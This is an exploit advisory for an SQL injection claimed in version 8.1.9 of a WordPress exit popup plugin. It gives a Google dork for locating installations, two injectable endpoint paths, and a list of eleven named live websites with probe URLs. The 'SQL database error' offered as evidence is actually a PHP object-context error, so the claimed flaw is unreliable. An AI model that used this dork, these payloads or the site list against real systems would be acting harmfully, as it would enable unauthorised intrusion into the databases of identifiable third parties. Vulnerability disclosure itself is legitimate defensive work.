WordPress Yeloni Free Exit Popup Plugins 8.1.9 SQL Injection

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# Exploit Title : WordPress Yeloni Free Exit Popup Plugins 8.1.9 SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 28/01/2019
# Vendor Homepage : yeloni.com
# Software Download Link : downloads.wordpress.org/plugin/yeloni-free-exit-popup.zip
# Software Information Link : wordpress.org/plugins/yeloni-free-exit-popup/
# Software Version : 8.1.9
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : inurl:''/wp-content/plugins/yeloni-free-exit-popup/wordpress/''
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]

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# Description :
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* Yeloni is a powerful lead generation plugin that converts abandoning visitors on your website

into subscribers using attention grabbing forms that are proven to convert.

Choose from a wide variety of configurations, targetting options and

widget designs to customize your popup.

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# Impact :
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* WordPress Yeloni Free Exit Popup Plugins 8.1.9 and other versions is prone to an

SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied

data before using it in an SQL query.

* Exploiting this issue could allow an attacker to compromise the application, read,

access or modify data, or exploit latent vulnerabilities in the underlying database.

If the webserver is misconfigured, read & write access to the filesystem may be possible.

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# SQL Injection Exploit :
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/wp-content/plugins/yeloni-free-exit-popup/wordpress/yetience_config.php?id=[SQL Injection]

/wp-content/plugins/yeloni-free-exit-popup/wordpress/client-load.php?id=[SQL Injection]

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# Example Vulnerable Sites :
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[+] startadora.com/wp-content/plugins/yeloni-free-exit-popup/wordpress/yetience_config.php?id=1%27

[+] podfo.com/wp-content/plugins/yeloni-free-exit-popup/wordpress/yetience_config.php?id=1%27

[+] hviaonline.com/funds/wp-content/plugins/yeloni-free-exit-popup/wordpress/yetience_config.php?id=1%27

[+] interset.digital/site/wp-content/plugins/yeloni-free-exit-popup/wordpress/yetience_config.php?id=1%27

[+] speakerhead.com/wp-content/plugins/yeloni-free-exit-popup/wordpress/yetience_config.php?id=1%27

[+] sterlingequipmentinc.com/wp-content/plugins/yeloni-free-exit-popup/wordpress/yetience_config.php?id=1%27

[+] ewan.lublin.pl/wp-content/plugins/yeloni-free-exit-popup/wordpress/yetience_config.php?id=1%27

[+] thequadgroup.com/wp-content/plugins/yeloni-free-exit-popup/wordpress/yetience_config.php?id=1%27

[+] zenic.co.uk/wp-content/plugins/yeloni-free-exit-popup/wordpress/yetience_config.php?id=1%27

[+] englishxp.co.uk/wp-content/plugins/yeloni-free-exit-popup/wordpress/yetience_config.php?id=1%27

[+] rodoyo.com/wp-content/plugins/yeloni-free-exit-popup/wordpress/yetience_config.php?id=1%27

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# Example SQL Database Error :
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Fatal error: Using $this when not in object context in /home/axtvr/public_html
/wp-content/plugins/yeloni-free-exit-popup/wordpress/yetience_config.php on line 2

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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

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